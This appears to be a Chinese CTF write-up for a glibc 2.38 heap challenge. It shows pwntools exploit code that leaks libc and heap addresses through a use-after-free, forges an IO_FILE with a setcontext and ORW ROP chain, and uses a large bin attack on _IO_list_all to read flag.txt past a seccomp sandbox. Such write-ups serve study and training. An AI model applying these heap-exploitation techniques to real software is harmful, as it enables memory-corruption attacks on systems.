理解程序
checksec:

全保护开启,IDA64查看

add函数:

输入的大小限制在0x500到0x600之间 也就是largebin其中的区间
同时必须在add的时候选择是否edit 只能edit5次
限制只能申请最多31个chunk
delete函数:

free后没清零 存在UAF
show函数:

同时程序还有用prctl实现的沙箱:

libc版本为2.38,版本较高,考虑用IO链打orw,这里使用的是house of 一骑当千
先利用large bin和uaf泄露堆地址和libc地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| add(0x500) add(0x510) add(0x520) add(0x530) delete(0) delete(2) show(2) heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290 print(hex(heap_base)) sleep(0.1) add(0x520) show(0) libc_base = u64(p.recv(6).ljust(8, b'\x00')) -0x25e130 fdbk = libc_base + 0x25e130 print(hex(libc_base)) libc = ELF('./libc.so.6') IO_list_all_addr = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps'] print(hex(IO_list_all_addr))
system_addr = libc_base + libc.sym['system'] add(0x500)
|
接下来是制作伪造IO表,套模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| add(0x510) add(0x5e0) add(0x520) add(0x500) add(0x500)
pop_rdi_ret=libc_base+0x28715 pop_rsi_ret=libc_base+0x2a671 pop_rdx_rbp_ret=libc_base+0x93359 pop_rbp_ret=libc_base+0x28620
fake_io = p64(0) fake_io += p64(0) fake_io += p64(0) fake_io += p64(1) fake_io += p64(0) * 7 fake_io += p64(0) fake_io += p32(2) + p32(0) fake_io+=p64(0xffffffffffffffff) fake_io+=p64(0) fake_io+=p64(libc_base+0x25f8f0) fake_io+=p64(0xffffffffffffffff) fake_io+=p64(0xa000000) fake_io+=p64(heap_base+0x33a0) fake_io+=p64(libc_base + 0x28621) fake_io+=p64(0x0) fake_io+=p64(0x33) fake_io+=p64(0xffffffff) fake_io+=p64(0x0) fake_io+=p64(0x0) fake_io+=p64(libc_base+libc.sym['_IO_wfile_jumps']) fake_io+=p64(libc_base+0x25f8f0) fake_io+=p64(0x0) fake_io+=p64(0x0)
Fake_Fake_IO_wide_data=p64(pop_rdi_ret)+p64(heap_base+0x33a0+0x100) Fake_Fake_IO_wide_data+=p64(pop_rsi_ret)+p64(0) Fake_Fake_IO_wide_data+=p64(pop_rdx_rbp_ret)+p64(0)+p64(0) Fake_Fake_IO_wide_data+=p64(pop_rbp_ret)+p64(libc_base+0x25eb80) Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['open']) Fake_Fake_IO_wide_data+=p64(pop_rdi_ret)+p64(3) Fake_Fake_IO_wide_data+=p64(pop_rsi_ret)+p64(heap_base) Fake_Fake_IO_wide_data+=p64(pop_rdx_rbp_ret)+p64(0x100)+p64(libc_base+0x25eb80) Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['read']) Fake_Fake_IO_wide_data+=p64(pop_rdi_ret)+p64(1) Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['write']) Fake_Fake_IO_wide_data=Fake_Fake_IO_wide_data.ljust(0xe0,b'\x00') Fake_Fake_IO_wide_data+=p64(heap_base+0x33a0+0x200) Fake_Fake_IO_wide_data=Fake_Fake_IO_wide_data.ljust(0x100,b'\x00') Fake_Fake_IO_wide_data+=b'flag.txt'
Fake_wide_vtable=p64(0)*13+p64(libc_base+libc.sym['setcontext'])
fake = fake_io fake = fake.ljust(0x200, b'\x00') fake += Fake_Fake_IO_wide_data fake = fake.ljust(0x400, b'\x00') fake += Fake_wide_vtable
|
将设置setcontext的寄存器和伪造IO合并了
然后把前面泄露地址用的bins都清空
同时程序限制了只能在add的时候edit,这种状况下要进行large bin attack:要利用堆块重叠
1.free掉2个不同大小的相邻large bin chunk(chunkA chunkB) 这样会让它们合并为一个整块的unsorted bin
2.再add chunkB大小的chunk同时修改内容:chunkA填充+ prev_size(0) + size(chunkB大小 + chunkB的下一个chunk大小 + 1) 堆块重叠
3.再add chunkA大小的chunk
4.free掉chunkB 此时因为前面修改了chunkB位置的size,所以会将chunkB及其下一个chunk都放进unsorted bin里
5.接下来free掉一个比chunkA小且在large bin大小的chunk再申请回去 这样会让修改size后的chunkB进入到large bin链条里
6.最后再申请chunkB大小的chunk并且修改 就能够成功修改到位于large bin链条里面的伪造chunkB的bk_nextsize 从而实现large bin attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| add_edit(0x500, fake)
add(0x5f0) add(0x500) add(0x500) add(0x500) add(0x500)
delete(6)
delete(7)
payload = b'\x00' * (0x510) + p64(0) + p64(0xb21) add_edit(0x5e0, payload)
add(0x510) delete(7) delete(15) add(0x500) pause() delete(17) payload = b'\x00'*0x510+p64(0)+p64(0xb21)+p64(libc_base+0x25e2b0)*2+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x20) add_edit(0x5e0, payload)
delete(11)
delete(12) pause() delete(15) pause() add(0x500)
|
最后只要再发送个4就能刷新IO表 orw了